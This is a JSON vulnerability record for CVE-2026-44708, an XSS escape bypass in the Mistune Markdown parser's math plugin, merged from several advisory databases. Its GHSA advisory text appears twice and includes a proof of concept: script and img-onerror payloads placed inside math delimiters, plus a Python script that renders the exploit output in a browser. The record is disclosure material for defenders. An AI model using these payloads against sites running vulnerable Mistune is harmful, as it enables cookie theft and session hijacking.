{"id":"CVE-2026-44708","aliases":["AZL-88397","DEBIAN-CVE-2026-44708","EUVD-2026-31993","GHSA-8g87-j6q8-g93x","PYSEC-2026-2206","SUSE-SU-2026:21858-1","UBUNTU-CVE-2026-44708","openSUSE-SU-2026:20827-1"],"status":"published","title":"Mistune Math Plugin XSS Escape Bypass","description":"Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, the mistune math plugin renders inline math ($...$) and block math ($$...$$) by concatenating the raw user-supplied content directly into the HTML output without any HTML escaping. This occurs even when the parser is explicitly created with escape=True, which is supposed to guarantee that all user-controlled text is sanitised before reaching the DOM. This vulnerability is fixed in 3.2.1.","severity":{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00228,"percentile":0.13709,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-79"],"published":"2026-05-08T23:40:04Z","modified":"2026-11-09T12:49:53Z","fixes":[{"ecosystem":"Azure Linux:3","package":"python-mistune","fixed_in":["3.2.1-1"],"sources":["osv"]},{"ecosystem":"PyPI","package":"mistune","fixed_in":["3.2.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"mistune","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.2.0"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"python-mistune","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.2.1-1"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"mistune","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.0.4-1","2.0.4-2","3.0.2-1","3.0.2-2","3.1.3-1","3.1.4-1","3.3.4-1"]},{"source":"osv","ecosystem":"Debian:13","package":"mistune","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.1.3-1","3.1.4-1","3.3.4-1"]},{"source":"osv","ecosystem":"Debian:14","package":"mistune","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.1.3-1","3.1.4-1","3.3.4-1"]},{"source":"osv","ecosystem":"PyPI","package":"mistune","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.2.0"}]}],"versions":["0.1.0","0.2.0","0.3.0","0.3.1","0.4","0.4.1","0.5","0.5.1","0.6","0.7","0.7.1","0.7.2","0.7.3","0.7.4","0.8","0.8.1","0.8.2","0.8.3","0.8.4","2.0.0","2.0.0a1","2.0.0a2","2.0.0a3","2.0.0a4","2.0.0a5","2.0.0a6","2.0.0rc1","2.0.1","2.0.2","2.0.3","2.0.4","2.0.5","2.1.0","3.0.0","3.0.0a1","3.0.0a2","3.0.0a3","3.0.0rc1","3.0.0rc2","3.0.0rc3","3.0.0rc4","3.0.0rc5","3.0.1","3.0.2","3.1.0","3.1.1","3.1.2","3.1.3","3.1.4","3.2.0"]},{"source":"osv","ecosystem":"PyPI","package":"mistune","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.2.1"}]}],"versions":["0.1.0","0.2.0","0.3.0","0.3.1","0.4","0.4.1","0.5","0.5.1","0.6","0.7","0.7.1","0.7.2","0.7.3","0.7.4","0.8","0.8.1","0.8.2","0.8.3","0.8.4","2.0.0","2.0.0a1","2.0.0a2","2.0.0a3","2.0.0a4","2.0.0a5","2.0.0a6","2.0.0rc1","2.0.1","2.0.2","2.0.3","2.0.4","2.0.5","2.1.0","3.0.0","3.0.0a1","3.0.0a2","3.0.0a3","3.0.0rc1","3.0.0rc2","3.0.0rc3","3.0.0rc4","3.0.0rc5","3.0.1","3.0.2","3.1.0","3.1.1","3.1.2","3.1.3","3.1.4","3.2.0"]},{"source":"osv","ecosystem":"Ubuntu:16.04:LTS","package":"mistune","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.6-2","0.7.1-1"]},{"source":"osv","ecosystem":"Ubuntu:18.04:LTS","package":"mistune","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.7.4-1","0.8-1","0.8.1-1","0.8.3-2"]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"mistune","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.8.4-1","0.8.4-2"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"mistune","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.0.4-2","3.0.2-1"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"mistune","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.0.2-2","3.1.3-1"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"mistune0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.8.4-4"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"mistune","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.1.4-1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"mistune0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.8.4-6"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"mistune","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.1.3-1","3.1.4-1"]}],"products":[{"vendor":"lepture","product":"mistune"},{"vendor":"mistune_project","product":"mistune"}],"references":[{"url":"https://github.com/lepture/mistune/security/advisories/GHSA-8g87-j6q8-g93x","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web","evidence","report"]},{"url":"https://github.com/lepture/mistune/releases/tag/v3.2.1","tags":["x_refsource_MISC","Product","Release Notes","web","advisory","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44708","tags":["web","advisory"]},{"url":"https://github.com/advisories/GHSA-8g87-j6q8-g93x"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/44xxx/CVE-2026-44708.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-44708","tags":["advisory"]},{"url":"https://github.com/lepture/mistune","tags":["package"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202621858-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1264347","tags":["report"]},{"url":"https://bugzilla.suse.com/1264750","tags":["report"]},{"url":"https://bugzilla.suse.com/1264751","tags":["report"]},{"url":"https://bugzilla.suse.com/1264752","tags":["report"]},{"url":"https://bugzilla.suse.com/1264754","tags":["report"]},{"url":"https://bugzilla.suse.com/1265052","tags":["report"]},{"url":"https://bugzilla.suse.com/1265053","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-33079","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-33441","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-44708","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-44896","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-44897","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-44898","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-44899","tags":["web"]},{"url":"https://ubuntu.com/security/CVE-2026-44708","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-44708","tags":["report"]},{"url":"","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-44708","title":"Mistune Math Plugin XSS Escape Bypass","description":"Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, the mistune math plugin renders inline math ($...$) and block math ($$...$$) by concatenating the raw user-supplied content directly into the HTML output without any HTML escaping. This occurs even when the parser is explicitly created with escape=True, which is supposed to guarantee that all user-controlled text is sanitised before reaching the DOM. This vulnerability is fixed in 3.2.1.","status":"published","published":"2026-05-26T20:39:18.99Z","modified":"2026-05-27T14:14:26.074Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T13:42:49.132798Z"}],"euvd":[{"id":"EUVD-2026-31993","description":"Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, the mistune math plugin renders inline math ($...$) and block math ($$...$$) by concatenating the raw user-supplied content directly into the HTML output without any HTML escaping. This occurs even when the parser is explicitly created with escape=True, which is supposed to guarantee that all user-controlled text is sanitised before reaching the DOM. This vulnerability is fixed in 3.2.1.","status":"published","published":"2026-05-26T20:39:18Z","modified":"2026-05-27T14:14:26Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T18:21:04.415835Z"}],"ghsa":[{"id":"GHSA-8g87-j6q8-g93x","title":"Mistune Math Plugin has an XSS Escape Bypass","description":"## Summary\nThe mistune math plugin renders inline math (`$...$`) and block math (`$$...$$`) by concatenating the raw user-supplied content directly into the HTML output **without any HTML escaping**. This occurs even when the parser is explicitly created with `escape=True`, which is supposed to guarantee that all user-controlled text is sanitised before reaching the DOM.\n\nThe result is a silent contract violation: a developer who enables `escape=True` reasonably expects complete XSS protection, but the math plugin operates as an independent render path that ignores the renderer's `_escape` flag entirely.\n\n## Details\n**File:** `src/mistune/plugins/math.py`\n\n```python\ndef render_inline_math(renderer, text):\n    # `text` is raw user input — no escape() call anywhere\n    return r'\u003cspan class=\"math\"\u003e\\(' + text + r\"\\)\u003c/span\u003e\"\n\ndef render_block_math(renderer, text):\n    # same issue for block-level $$...$$\n    return '\u003cdiv class=\"math\"\u003e$$\\n' + text + \"\\n$$\u003c/div\u003e\\n\"\n```\n\nBoth functions take `text` directly from the parsed token and concatenate it into the output string. Neither function:\n- calls `escape(text)` from `mistune.util`\n- checks `renderer._escape`\n- calls `safe_entity(text)` or any other sanitisation helper\n\nThe `escape=True` flag only influences the main `HTMLRenderer` methods (`paragraph`, `heading`, `codespan`, etc.). Plugin render functions registered via `md.renderer.register()` receive the `renderer` instance but have no mechanism that enforces the escape contract - they must opt in manually, and `math.py` does not.\n\n## PoC\n**Step 1 — Establish the baseline (escape=True works for plain HTML)**\n\nThe script creates a markdown parser with `escape=True` and the math plugin enabled, then feeds it a raw `\u003cscript\u003e` tag that is *not* inside math delimiters:\n\n```python\nmd = create_markdown(escape=True, plugins=[\"math\"])\nbl_src = \"\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\\n\"\nbl_out = str(md(bl_src))\n```\n\nExpected and actual output — the script tag is correctly escaped:\n```html\n\u003cp\u003e\u0026lt;script\u0026gt;alert(document.cookie)\u0026lt;/script\u0026gt;\u003c/p\u003e\n```\n\nThis confirms `escape=True` is working for the normal render path.\n\n**Step 2 — Craft the exploit payload**\n\nWrap the identical `\u003cscript\u003e` payload inside inline math delimiters `$...$`. The content is token-extracted as `text` and handed to `render_inline_math()`:\n\n```python\nex_src = \"$\u003cscript\u003ealert(document.cookie)\u003c/script\u003e$\\n\"\nex_out = str(md(ex_src))\n```\n\n**Step 3 — Observe the bypass**\n\nActual output — the script tag is emitted raw, unescaped:\n```html\n\u003cp\u003e\u003cspan class=\"math\"\u003e\\(\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\\)\u003c/span\u003e\u003c/p\u003e\n```\n\nThe `\u003cscript\u003e` block is live inside the `\u003cspan class=\"math\"\u003e` wrapper. Any browser that renders this HTML will execute `alert(document.cookie)`.\n\n**Step 4 — Block math variant (`$$...$$`)**\n\nThe same bypass applies to block-level math. Payload:\n```\n$$\n\u003cimg src=x onerror=\"alert(document.cookie)\"\u003e\n$$\n```\n\nOutput:\n```html\n\u003cdiv class=\"math\"\u003e$$\n\u003cimg src=x onerror=\"alert(document.cookie)\"\u003e\n$$\u003c/div\u003e\n```\n\nThe `onerror` handler fires as soon as the browser tries to load the non-existent image `x`.\n\n### Script\n\nA verification script was written to test this issue. It creates a HTML page showing the bypass rendering in the browser.\n\n```python\n#!/usr/bin/env python3\n\"\"\"H1: Math plugin bypasses escape=True — HTML inside $...$ passes through raw.\"\"\"\nimport os, html as h\nfrom mistune import create_markdown\n\nmd = create_markdown(escape=True, plugins=[\"math\"])\n\n# --- baseline ---\nbl_file = \"baseline_h1.md\"\nbl_src  = \"\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\\n\"\nwith open(os.path.join(os.getcwd(), bl_file), \"w\") as f:\n    f.write(bl_src)\nbl_out = str(md(bl_src))\n\nprint(f\"[{bl_file}]\\n{bl_src}\")\nprint(\"[output — escape=True works normally here]\")\nprint(bl_out)\n\n# --- exploit ---\nex_file = \"exploit_h1.md\"\nex_src  = \"$\u003cscript\u003ealert(document.cookie)\u003c/script\u003e$\\n\"\nwith open(os.path.join(os.getcwd(), ex_file), \"w\") as f:\n    f.write(ex_src)\nex_out = str(md(ex_src))\n\nprint(f\"[{ex_file}]\\n{ex_src}\")\nprint(\"[output — escape=True bypassed inside math delimiters]\")\nprint(ex_out)\n\n# --- HTML report ---\nCSS = \"\"\"\nbody{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}\nh1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}\np.desc{color:#555;font-size:.9em;margin-top:6px}\n.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)}\n.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}\n.baseline .case-header{background:#d1fae5;color:#065f46}\n.exploit  .case-header{background:#fee2e2;color:#7f1d1d}\n.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}\n.panel{padding:16px}\n.panel+.panel{border-left:1px solid #eee}\n.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}\npre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all}\n.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}\n.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em}\n\"\"\"\n\ndef case(kind, label, filename, src, out):\n    return f\"\"\"\n\u003cdiv class=\"case {kind}\"\u003e\n  \u003cdiv class=\"case-header\"\u003e{'BASELINE' if kind=='baseline' else 'EXPLOIT'} — {h.escape(label)}\u003c/div\u003e\n  \u003cdiv class=\"panels\"\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eInput — {h.escape(filename)}\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(src)}\u003c/pre\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eOutput — HTML source\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(out)}\u003c/pre\u003e\n      \u003cdiv class=\"rlabel\"\u003e↓ rendered in browser\u003c/div\u003e\n      \u003cdiv class=\"rendered\"\u003e{out}\u003c/div\u003e\n    \u003c/div\u003e\n  \u003c/div\u003e\n\u003c/div\u003e\"\"\"\n\npage = f\"\"\"\u003c!DOCTYPE html\u003e\u003chtml lang=\"en\"\u003e\u003chead\u003e\u003cmeta charset=\"UTF-8\"\u003e\n\u003ctitle\u003eH1 — Math XSS\u003c/title\u003e\u003cstyle\u003e{CSS}\u003c/style\u003e\u003c/head\u003e\u003cbody\u003e\n\u003ch1\u003eH1 — Math Plugin XSS (escape=True bypass)\u003c/h1\u003e\n\u003cp class=\"desc\"\u003erender_inline_math() in plugins/math.py concatenates user content without escape().\nThe escape=True renderer flag is completely ignored inside $...$ delimiters.\u003c/p\u003e\n{case(\"baseline\", \"Same HTML outside $...$  — escape=True works\", bl_file, bl_src, bl_out)}\n{case(\"exploit\",  \"Same HTML inside $...$   — escape=True bypassed\", ex_file, ex_src, ex_out)}\n\u003c/body\u003e\u003c/html\u003e\"\"\"\n\nout_path = os.path.join(os.getcwd(), \"report_h1.html\")\nwith open(out_path, \"w\") as f:\n    f.write(page)\nprint(f\"\\n[report] {out_path}\")\n```\n\nExample usage:\n```bash\npython poc.py\n```\n\nOnce the script is run, open `report_h1.html` in the browser and observe the behaviour.\n\n## Impact\n| Dimension        | Assessment |\n|------------------|-----------|\n| **Confidentiality** | Attacker can exfiltrate session cookies, auth tokens, and any data visible to the victim's browser session |\n| **Integrity**    | Attacker can mutate page content, inject phishing forms, redirect the user, or perform authenticated actions |\n| **Availability** | Attacker can crash or freeze the page (denial-of-service to the user) |\n\n**Risk amplifier:** This is a *bypass* of an explicit security control. Developers who have audited their application and confirmed `escape=True` is set believe they have XSS protection. This vulnerability silently invalidates that assumption for every math-enabled parser instance, making it likely to be missed in code reviews and security audits.","status":"published","published":"2026-05-08T23:40:04Z","modified":"2026-06-08T23:30:21Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:40:21.48274Z"}],"nvd":[{"id":"CVE-2026-44708","description":"Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, the mistune math plugin renders inline math ($...$) and block math ($$...$$) by concatenating the raw user-supplied content directly into the HTML output without any HTML escaping. This occurs even when the parser is explicitly created with escape=True, which is supposed to guarantee that all user-controlled text is sanitised before reaching the DOM. This vulnerability is fixed in 3.2.1.","status":"published","published":"2026-05-26T21:16:38.527Z","modified":"2026-07-24T11:10:00.17Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:12:20.511562Z"}],"osv":[{"id":"CVE-2026-44708","title":"Mistune Math Plugin XSS Escape Bypass","description":"Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, the mistune math plugin renders inline math ($...$) and block math ($$...$$) by concatenating the raw user-supplied content directly into the HTML output without any HTML escaping. This occurs even when the parser is explicitly created with escape=True, which is supposed to guarantee that all user-controlled text is sanitised before reaching the DOM. This vulnerability is fixed in 3.2.1.","status":"published","published":"2026-05-26T20:39:18.99Z","modified":"2026-10-28T02:30:22.40404125Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:45:05.172514Z"},{"id":"DEBIAN-CVE-2026-44708","description":"Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, the mistune math plugin renders inline math ($...$) and block math ($$...$$) by concatenating the raw user-supplied content directly into the HTML output without any HTML escaping. This occurs even when the parser is explicitly created with escape=True, which is supposed to guarantee that all user-controlled text is sanitised before reaching the DOM. This vulnerability is fixed in 3.2.1.","status":"published","published":"2026-05-26T21:16:38.527Z","modified":"2026-10-01T03:03:23.666457562Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T15:45:55.669088Z"},{"id":"GHSA-8g87-j6q8-g93x","title":"Mistune Math Plugin has an XSS Escape Bypass","description":"## Summary\nThe mistune math plugin renders inline math (`$...$`) and block math (`$$...$$`) by concatenating the raw user-supplied content directly into the HTML output **without any HTML escaping**. This occurs even when the parser is explicitly created with `escape=True`, which is supposed to guarantee that all user-controlled text is sanitised before reaching the DOM.\n\nThe result is a silent contract violation: a developer who enables `escape=True` reasonably expects complete XSS protection, but the math plugin operates as an independent render path that ignores the renderer's `_escape` flag entirely.\n\n## Details\n**File:** `src/mistune/plugins/math.py`\n\n```python\ndef render_inline_math(renderer, text):\n    # `text` is raw user input — no escape() call anywhere\n    return r'\u003cspan class=\"math\"\u003e\\(' + text + r\"\\)\u003c/span\u003e\"\n\ndef render_block_math(renderer, text):\n    # same issue for block-level $$...$$\n    return '\u003cdiv class=\"math\"\u003e$$\\n' + text + \"\\n$$\u003c/div\u003e\\n\"\n```\n\nBoth functions take `text` directly from the parsed token and concatenate it into the output string. Neither function:\n- calls `escape(text)` from `mistune.util`\n- checks `renderer._escape`\n- calls `safe_entity(text)` or any other sanitisation helper\n\nThe `escape=True` flag only influences the main `HTMLRenderer` methods (`paragraph`, `heading`, `codespan`, etc.). Plugin render functions registered via `md.renderer.register()` receive the `renderer` instance but have no mechanism that enforces the escape contract - they must opt in manually, and `math.py` does not.\n\n## PoC\n**Step 1 — Establish the baseline (escape=True works for plain HTML)**\n\nThe script creates a markdown parser with `escape=True` and the math plugin enabled, then feeds it a raw `\u003cscript\u003e` tag that is *not* inside math delimiters:\n\n```python\nmd = create_markdown(escape=True, plugins=[\"math\"])\nbl_src = \"\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\\n\"\nbl_out = str(md(bl_src))\n```\n\nExpected and actual output — the script tag is correctly escaped:\n```html\n\u003cp\u003e\u0026lt;script\u0026gt;alert(document.cookie)\u0026lt;/script\u0026gt;\u003c/p\u003e\n```\n\nThis confirms `escape=True` is working for the normal render path.\n\n**Step 2 — Craft the exploit payload**\n\nWrap the identical `\u003cscript\u003e` payload inside inline math delimiters `$...$`. The content is token-extracted as `text` and handed to `render_inline_math()`:\n\n```python\nex_src = \"$\u003cscript\u003ealert(document.cookie)\u003c/script\u003e$\\n\"\nex_out = str(md(ex_src))\n```\n\n**Step 3 — Observe the bypass**\n\nActual output — the script tag is emitted raw, unescaped:\n```html\n\u003cp\u003e\u003cspan class=\"math\"\u003e\\(\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\\)\u003c/span\u003e\u003c/p\u003e\n```\n\nThe `\u003cscript\u003e` block is live inside the `\u003cspan class=\"math\"\u003e` wrapper. Any browser that renders this HTML will execute `alert(document.cookie)`.\n\n**Step 4 — Block math variant (`$$...$$`)**\n\nThe same bypass applies to block-level math. Payload:\n```\n$$\n\u003cimg src=x onerror=\"alert(document.cookie)\"\u003e\n$$\n```\n\nOutput:\n```html\n\u003cdiv class=\"math\"\u003e$$\n\u003cimg src=x onerror=\"alert(document.cookie)\"\u003e\n$$\u003c/div\u003e\n```\n\nThe `onerror` handler fires as soon as the browser tries to load the non-existent image `x`.\n\n### Script\n\nA verification script was written to test this issue. It creates a HTML page showing the bypass rendering in the browser.\n\n```python\n#!/usr/bin/env python3\n\"\"\"H1: Math plugin bypasses escape=True — HTML inside $...$ passes through raw.\"\"\"\nimport os, html as h\nfrom mistune import create_markdown\n\nmd = create_markdown(escape=True, plugins=[\"math\"])\n\n# --- baseline ---\nbl_file = \"baseline_h1.md\"\nbl_src  = \"\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\\n\"\nwith open(os.path.join(os.getcwd(), bl_file), \"w\") as f:\n    f.write(bl_src)\nbl_out = str(md(bl_src))\n\nprint(f\"[{bl_file}]\\n{bl_src}\")\nprint(\"[output — escape=True works normally here]\")\nprint(bl_out)\n\n# --- exploit ---\nex_file = \"exploit_h1.md\"\nex_src  = \"$\u003cscript\u003ealert(document.cookie)\u003c/script\u003e$\\n\"\nwith open(os.path.join(os.getcwd(), ex_file), \"w\") as f:\n    f.write(ex_src)\nex_out = str(md(ex_src))\n\nprint(f\"[{ex_file}]\\n{ex_src}\")\nprint(\"[output — escape=True bypassed inside math delimiters]\")\nprint(ex_out)\n\n# --- HTML report ---\nCSS = \"\"\"\nbody{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}\nh1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}\np.desc{color:#555;font-size:.9em;margin-top:6px}\n.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)}\n.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}\n.baseline .case-header{background:#d1fae5;color:#065f46}\n.exploit  .case-header{background:#fee2e2;color:#7f1d1d}\n.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}\n.panel{padding:16px}\n.panel+.panel{border-left:1px solid #eee}\n.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}\npre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all}\n.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}\n.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em}\n\"\"\"\n\ndef case(kind, label, filename, src, out):\n    return f\"\"\"\n\u003cdiv class=\"case {kind}\"\u003e\n  \u003cdiv class=\"case-header\"\u003e{'BASELINE' if kind=='baseline' else 'EXPLOIT'} — {h.escape(label)}\u003c/div\u003e\n  \u003cdiv class=\"panels\"\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eInput — {h.escape(filename)}\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(src)}\u003c/pre\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eOutput — HTML source\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(out)}\u003c/pre\u003e\n      \u003cdiv class=\"rlabel\"\u003e↓ rendered in browser\u003c/div\u003e\n      \u003cdiv class=\"rendered\"\u003e{out}\u003c/div\u003e\n    \u003c/div\u003e\n  \u003c/div\u003e\n\u003c/div\u003e\"\"\"\n\npage = f\"\"\"\u003c!DOCTYPE html\u003e\u003chtml lang=\"en\"\u003e\u003chead\u003e\u003cmeta charset=\"UTF-8\"\u003e\n\u003ctitle\u003eH1 — Math XSS\u003c/title\u003e\u003cstyle\u003e{CSS}\u003c/style\u003e\u003c/head\u003e\u003cbody\u003e\n\u003ch1\u003eH1 — Math Plugin XSS (escape=True bypass)\u003c/h1\u003e\n\u003cp class=\"desc\"\u003erender_inline_math() in plugins/math.py concatenates user content without escape().\nThe escape=True renderer flag is completely ignored inside $...$ delimiters.\u003c/p\u003e\n{case(\"baseline\", \"Same HTML outside $...$  — escape=True works\", bl_file, bl_src, bl_out)}\n{case(\"exploit\",  \"Same HTML inside $...$   — escape=True bypassed\", ex_file, ex_src, ex_out)}\n\u003c/body\u003e\u003c/html\u003e\"\"\"\n\nout_path = os.path.join(os.getcwd(), \"report_h1.html\")\nwith open(out_path, \"w\") as f:\n    f.write(page)\nprint(f\"\\n[report] {out_path}\")\n```\n\nExample usage:\n```bash\npython poc.py\n```\n\nOnce the script is run, open `report_h1.html` in the browser and observe the behaviour.\n\n## Impact\n| Dimension        | Assessment |\n|------------------|-----------|\n| **Confidentiality** | Attacker can exfiltrate session cookies, auth tokens, and any data visible to the victim's browser session |\n| **Integrity**    | Attacker can mutate page content, inject phishing forms, redirect the user, or perform authenticated actions |\n| **Availability** | Attacker can crash or freeze the page (denial-of-service to the user) |\n\n**Risk amplifier:** This is a *bypass* of an explicit security control. Developers who have audited their application and confirmed `escape=True` is set believe they have XSS protection. This vulnerability silently invalidates that assumption for every math-enabled parser instance, making it likely to be missed in code reviews and security audits.","status":"published","published":"2026-05-08T23:40:04Z","modified":"2026-09-10T03:51:04.993819302Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:46:42.437513Z"},{"id":"PYSEC-2026-2206","description":"Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, the mistune math plugin renders inline math ($...$) and block math ($$...$$) by concatenating the raw user-supplied content directly into the HTML output without any HTML escaping. This occurs even when the parser is explicitly created with escape=True, which is supposed to guarantee that all user-controlled text is sanitised before reaching the DOM. This vulnerability is fixed in 3.2.1.","status":"published","published":"2026-05-26T21:16:38.527Z","modified":"2026-07-13T07:15:28.892148369Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T15:52:55.537808Z"},{"id":"UBUNTU-CVE-2026-44708","description":"Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, the mistune math plugin renders inline math ($...$) and block math ($$...$$) by concatenating the raw user-supplied content directly into the HTML output without any HTML escaping. This occurs even when the parser is explicitly created with escape=True, which is supposed to guarantee that all user-controlled text is sanitised before reaching the DOM. This vulnerability is fixed in 3.2.1.","status":"published","published":"2026-05-26T21:16:00Z","modified":"2026-11-09T12:49:53.506622185Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-09T13:27:42.046613Z"},{"id":"AZL-88397","title":"CVE-2026-44708 affecting package python-mistune for versions less than 3.2.1-1","description":"Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, the mistune math plugin renders inline math ($...$) and block math ($$...$$) by concatenating the raw user-supplied content directly into the HTML output without any HTML escaping. This occurs even when the parser is explicitly created with escape=True, which is supposed to guarantee that all user-controlled text is sanitised before reaching the DOM. This vulnerability is fixed in 